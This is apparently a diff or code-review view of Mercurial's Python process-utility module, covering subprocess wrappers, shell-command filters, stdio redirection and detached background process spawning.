137 p = subprocess.Popen(
138 tonativestr(quotecommand(cmd)),
139 shell=True,
140 bufsize=bufsize,
141 close_fds=closefds,
142 stdout=subprocess.PIPE,
143 )
144 return _pfile(p, p.stdout)
145
146
147 def _popenwriter(cmd, bufsize):
148 p = subprocess.Popen(
149 tonativestr(quotecommand(cmd)),
150 shell=True,
151 bufsize=bufsize,
152 close_fds=closefds,
153 stdin=subprocess.PIPE,
154 )
155 return _pfile(p, p.stdin)
156
157
158 def popen2(cmd, env=None):
159 # Setting bufsize to -1 lets the system decide the buffer size.
160 # The default for bufsize is 0, meaning unbuffered. This leads to
161 # poor performance on Mac OS X: http://bugs.python.org/issue4194
162 p = subprocess.Popen(
163 tonativestr(cmd),
164 shell=True,
165 bufsize=-1,
166 close_fds=closefds,
167 stdin=subprocess.PIPE,
168 stdout=subprocess.PIPE,
169 env=tonativeenv(env),
170 )
171 return p.stdin, p.stdout
172
173
174 def popen3(cmd, env=None):
175 stdin, stdout, stderr, p = popen4(cmd, env)
176 return stdin, stdout, stderr
177
178
179 def popen4(cmd, env=None, bufsize=-1):
180 p = subprocess.Popen(
181 tonativestr(cmd),
182 shell=True,
183 bufsize=bufsize,
184 close_fds=closefds,
185 stdin=subprocess.PIPE,
186 stdout=subprocess.PIPE,
187 stderr=subprocess.PIPE,
188 env=tonativeenv(env),
189 )
190 return p.stdin, p.stdout, p.stderr, p
191
192
193 def pipefilter(s, cmd):
194 '''filter string S through command CMD, returning its output'''
195 p = subprocess.Popen(
196 tonativestr(cmd),
197 shell=True,
198 close_fds=closefds,
199 stdin=subprocess.PIPE,
200 stdout=subprocess.PIPE,
201 )
202 pout, perr = p.communicate(s)
203 return pout
204
205
206 def tempfilter(s, cmd):
207 '''filter string S through a pair of temporary files with CMD.
208 CMD is used as a template to create the real command to be run,
209 with the strings INFILE and OUTFILE replaced by the real names of
210 the temporary files generated.'''
211 inname, outname = None, None
212 try:
213 infd, inname = pycompat.mkstemp(prefix=b'hg-filter-in-')
214 fp = os.fdopen(infd, 'wb')
215 fp.write(s)
216 fp.close()
217 outfd, outname = pycompat.mkstemp(prefix=b'hg-filter-out-')
218 os.close(outfd)
219 cmd = cmd.replace(b'INFILE', inname)
220 cmd = cmd.replace(b'OUTFILE', outname)
221 code = system(cmd)
222 if pycompat.sysplatform == b'OpenVMS' and code & 1:
223 code = 0
224 if code:
225 raise error.Abort(
226 _(b"command '%s' failed: %s") % (cmd, explainexit(code))
227 )
228 with open(outname, b'rb') as fp:
229 return fp.read()
230 finally:
231 try:
232 if inname:
233 os.unlink(inname)
234 except OSError:
235 pass
236 try:
237 if outname:
238 os.unlink(outname)
239 except OSError:
240 pass
241
242
243 _filtertable = {
244 b'tempfile:': tempfilter,
245 b'pipe:': pipefilter,
246 }
247
248
249 def filter(s, cmd):
250 b"filter a string through a command that transforms its input to its output"
251 for name, fn in pycompat.iteritems(_filtertable):
252 if cmd.startswith(name):
253 return fn(s, cmd[len(name) :].lstrip())
254 return pipefilter(s, cmd)
15 from .. import pycompat
255 16
256 17
257 18 def mainfrozen():
258 19 """return True if we are a frozen executable.
259 20
260 21 The code supports py2exe (most common, Windows only) and tools/freeze
261 22 (portable, not much used).
262 23 """
263 24 return (
264 25 pycompat.safehasattr(sys, "frozen")
265 26 or pycompat.safehasattr(sys, "importers") # new py2exe
266 27 or imp.is_frozen("__main__") # old py2exe
267 28 ) # tools/freeze
268
269
270 _hgexecutable = None
271
272
273 def hgexecutable():
274 """return location of the 'hg' executable.
275
276 Defaults to $HG or 'hg' in the search path.
277 """
278 if _hgexecutable is None:
279 hg = encoding.environ.get(b'HG')
280 mainmod = sys.modules['__main__']
281 if hg:
282 _sethgexecutable(hg)
283 elif mainfrozen():
284 if getattr(sys, 'frozen', None) == 'macosx_app':
285 # Env variable set by py2app
286 _sethgexecutable(encoding.environ[b'EXECUTABLEPATH'])
287 else:
288 _sethgexecutable(pycompat.sysexecutable)
289 elif (
290 not pycompat.iswindows
291 and os.path.basename(getattr(mainmod, '__file__', '')) == 'hg'
292 ):
293 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
294 else:
295 _sethgexecutable(
296 findexe(b'hg') or os.path.basename(pycompat.sysargv[0])
297 )
298 return _hgexecutable
299
300
301 def _sethgexecutable(path):
302 """set location of the 'hg' executable"""
303 global _hgexecutable
304 _hgexecutable = path
305
306
307 def _testfileno(f, stdf):
308 fileno = getattr(f, 'fileno', None)
309 try:
310 return fileno and fileno() == stdf.fileno()
311 except io.UnsupportedOperation:
312 return False # fileno() raised UnsupportedOperation
313
314
315 def isstdin(f):
316 return _testfileno(f, sys.__stdin__)
317
318
319 def isstdout(f):
320 return _testfileno(f, sys.__stdout__)
321
322
323 def protectstdio(uin, uout):
324 """Duplicate streams and redirect original if (uin, uout) are stdio
325
326 If uin is stdin, it's redirected to /dev/null. If uout is stdout, it's
327 redirected to stderr so the output is still readable.
328
329 Returns (fin, fout) which point to the original (uin, uout) fds, but
330 may be copy of (uin, uout). The returned streams can be considered
331 "owned" in that print(), exec(), etc. never reach to them.
332 """
333 uout.flush()
334 fin, fout = uin, uout
335 if _testfileno(uin, stdin):
336 newfd = os.dup(uin.fileno())
337 nullfd = os.open(os.devnull, os.O_RDONLY)
338 os.dup2(nullfd, uin.fileno())
339 os.close(nullfd)
340 fin = os.fdopen(newfd, 'rb')
341 if _testfileno(uout, stdout):
342 newfd = os.dup(uout.fileno())
343 os.dup2(stderr.fileno(), uout.fileno())
344 fout = os.fdopen(newfd, 'wb')
345 return fin, fout
346
347
348 def restorestdio(uin, uout, fin, fout):
349 """Restore (uin, uout) streams from possibly duplicated (fin, fout)"""
350 uout.flush()
351 for f, uif in [(fin, uin), (fout, uout)]:
352 if f is not uif:
353 os.dup2(f.fileno(), uif.fileno())
354 f.close()
355
356
357 def shellenviron(environ=None):
358 """return environ with optional override, useful for shelling out"""
359
360 def py2shell(val):
361 b'convert python object into string that is useful to shell'
362 if val is None or val is False:
363 return b'0'
364 if val is True:
365 return b'1'
366 return pycompat.bytestr(val)
367
368 env = dict(encoding.environ)
369 if environ:
370 env.update((k, py2shell(v)) for k, v in pycompat.iteritems(environ))
371 env[b'HG'] = hgexecutable()
372 return env
373
374
375 if pycompat.iswindows:
376
377 def shelltonative(cmd, env):
378 return platform.shelltocmdexe( # pytype: disable=module-attr
379 cmd, shellenviron(env)
380 )
381
382 tonativestr = encoding.strfromlocal
383 else:
384
385 def shelltonative(cmd, env):
386 return cmd
387
388 tonativestr = pycompat.identity
389
390
391 def tonativeenv(env):
392 '''convert the environment from bytes to strings suitable for Popen(), etc.
393 '''
394 return pycompat.rapply(tonativestr, env)
395
396
397 def system(cmd, environ=None, cwd=None, out=None):
398 '''enhanced shell command execution.
399 run with environment maybe modified, maybe in different dir.
400
401 if out is specified, it is assumed to be a file-like object that has a
402 write() method. stdout and stderr will be redirected to out.'''
403 try:
404 stdout.flush()
405 except Exception:
406 pass
407 cmd = quotecommand(cmd)
408 env = shellenviron(environ)
409 if out is None or isstdout(out):
410 rc = subprocess.call(
411 tonativestr(cmd),
412 shell=True,
413 close_fds=closefds,
414 env=tonativeenv(env),
415 cwd=pycompat.rapply(tonativestr, cwd),
416 )
417 else:
418 proc = subprocess.Popen(
419 tonativestr(cmd),
420 shell=True,
421 close_fds=closefds,
422 env=tonativeenv(env),
423 cwd=pycompat.rapply(tonativestr, cwd),
424 stdout=subprocess.PIPE,
425 stderr=subprocess.STDOUT,
426 )
427 for line in iter(proc.stdout.readline, b''):
428 out.write(line)
429 proc.wait()
430 rc = proc.returncode
431 if pycompat.sysplatform == b'OpenVMS' and rc & 1:
432 rc = 0
433 return rc
434
435
436 def gui():
437 '''Are we running in a GUI?'''
438 if pycompat.isdarwin:
439 if b'SSH_CONNECTION' in encoding.environ:
440 # handle SSH access to a box where the user is logged in
441 return False
442 elif getattr(osutil, 'isgui', None):
443 # check if a CoreGraphics session is available
444 return osutil.isgui()
445 else:
446 # pure build; use a safe default
447 return True
448 else:
449 return pycompat.iswindows or encoding.environ.get(b"DISPLAY")
450
451
452 def hgcmd():
453 """Return the command used to execute current hg
454
455 This is different from hgexecutable() because on Windows we want
456 to avoid things opening new shell windows like batch files, so we
457 get either the python call or current executable.
458 """
459 if mainfrozen():
460 if getattr(sys, 'frozen', None) == 'macosx_app':
461 # Env variable set by py2app
462 return [encoding.environ[b'EXECUTABLEPATH']]
463 else:
464 return [pycompat.sysexecutable]
465 return _gethgcmd()
466
467
468 def rundetached(args, condfn):
469 """Execute the argument list in a detached process.
470
471 condfn is a callable which is called repeatedly and should return
472 True once the child process is known to have started successfully.
473 At this point, the child process PID is returned. If the child
474 process fails to start or finishes before condfn() evaluates to
475 True, return -1.
476 """
477 # Windows case is easier because the child process is either
478 # successfully starting and validating the condition or exiting
479 # on failure. We just poll on its PID. On Unix, if the child
480 # process fails to start, it will be left in a zombie state until
481 # the parent wait on it, which we cannot do since we expect a long
482 # running process on success. Instead we listen for SIGCHLD telling
483 # us our child process terminated.
484 terminated = set()
485
486 def handler(signum, frame):
487 terminated.add(os.wait())
488
489 prevhandler = None
490 SIGCHLD = getattr(signal, 'SIGCHLD', None)
491 if SIGCHLD is not None:
492 prevhandler = signal.signal(SIGCHLD, handler)
493 try:
494 pid = spawndetached(args)
495 while not condfn():
496 if (pid in terminated or not testpid(pid)) and not condfn():
497 return -1
498 time.sleep(0.1)
499 return pid
500 finally:
501 if prevhandler is not None:
502 signal.signal(signal.SIGCHLD, prevhandler)
503
504
505 @contextlib.contextmanager
506 def uninterruptible(warn):
507 """Inhibit SIGINT handling on a region of code.
508
509 Note that if this is called in a non-main thread, it turns into a no-op.
510
511 Args:
512 warn: A callable which takes no arguments, and returns True if the
513 previous signal handling should be restored.
514 """
515
516 oldsiginthandler = [signal.getsignal(signal.SIGINT)]
517 shouldbail = []
518
519 def disabledsiginthandler(*args):
520 if warn():
521 signal.signal(signal.SIGINT, oldsiginthandler[0])
522 del oldsiginthandler[0]
523 shouldbail.append(True)
524
525 try:
526 try:
527 signal.signal(signal.SIGINT, disabledsiginthandler)
528 except ValueError:
529 # wrong thread, oh well, we tried
530 del oldsiginthandler[0]
531 yield
532 finally:
533 if oldsiginthandler:
534 signal.signal(signal.SIGINT, oldsiginthandler[0])
535 if shouldbail:
536 raise KeyboardInterrupt
537
538
539 if pycompat.iswindows:
540 # no fork on Windows, but we can create a detached process
541 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx
542 # No stdlib constant exists for this value
543 DETACHED_PROCESS = 0x00000008
544 # Following creation flags might create a console GUI window.
545 # Using subprocess.CREATE_NEW_CONSOLE might helps.
546 # See https://phab.mercurial-scm.org/D1701 for discussion
547 _creationflags = (
548 DETACHED_PROCESS
549 | subprocess.CREATE_NEW_PROCESS_GROUP # pytype: disable=module-attr
550 )
551
552 def runbgcommand(
553 script, env, shell=False, stdout=None, stderr=None, ensurestart=True
554 ):
555 '''Spawn a command without waiting for it to finish.'''
556 # we can't use close_fds *and* redirect stdin. I'm not sure that we
557 # need to because the detached process has no console connection.
558 subprocess.Popen(
559 tonativestr(script),
560 shell=shell,
561 env=tonativeenv(env),
562 close_fds=True,
563 creationflags=_creationflags,
564 stdout=stdout,
565 stderr=stderr,
566 )
567
568
569 else:
570
571 def runbgcommand(
572 cmd, env, shell=False, stdout=None, stderr=None, ensurestart=True
573 ):
574 '''Spawn a command without waiting for it to finish.'''
575 # double-fork to completely detach from the parent process
576 # based on http://code.activestate.com/recipes/278731
577 pid = os.fork()
578 if pid:
579 if not ensurestart:
580 return
581 # Parent process
582 (_pid, status) = os.waitpid(pid, 0)
583 if os.WIFEXITED(status):
584 returncode = os.WEXITSTATUS(status)
585 else:
586 returncode = -(os.WTERMSIG(status))
587 if returncode != 0:
588 # The child process's return code is 0 on success, an errno
589 # value on failure, or 255 if we don't have a valid errno
590 # value.
591 #
592 # (It would be slightly nicer to return the full exception info
593 # over a pipe as the subprocess module does. For now it
594 # doesn't seem worth adding that complexity here, though.)
595 if returncode == 255:
596 returncode = errno.EINVAL
597 raise OSError(
598 returncode,
599 b'error running %r: %s' % (cmd, os.strerror(returncode)),
600 )
601 return
602
603 returncode = 255
604 try:
605 # Start a new session
606 os.setsid()
607
608 stdin = open(os.devnull, b'r')
609 if stdout is None:
610 stdout = open(os.devnull, b'w')
611 if stderr is None:
612 stderr = open(os.devnull, b'w')
613
614 # connect stdin to devnull to make sure the subprocess can't
615 # muck up that stream for mercurial.
616 subprocess.Popen(
617 cmd,
618 shell=shell,
619 env=env,
620 close_fds=True,
621 stdin=stdin,
622 stdout=stdout,
623 stderr=stderr,
624 )
625 returncode = 0
626 except EnvironmentError as ex:
627 returncode = ex.errno & 0xFF
628 if returncode == 0:
629 # This shouldn't happen, but just in case make sure the
630 # return code is never 0 here.
631 returncode = 255
632 except Exception:
633 returncode = 255
634 finally:
635 # mission accomplished, this child needs to exit and not
636 # continue the hg process here.
637 os._exit(returncode)
General Comments 0
You need to be logged in to leave comments. Login now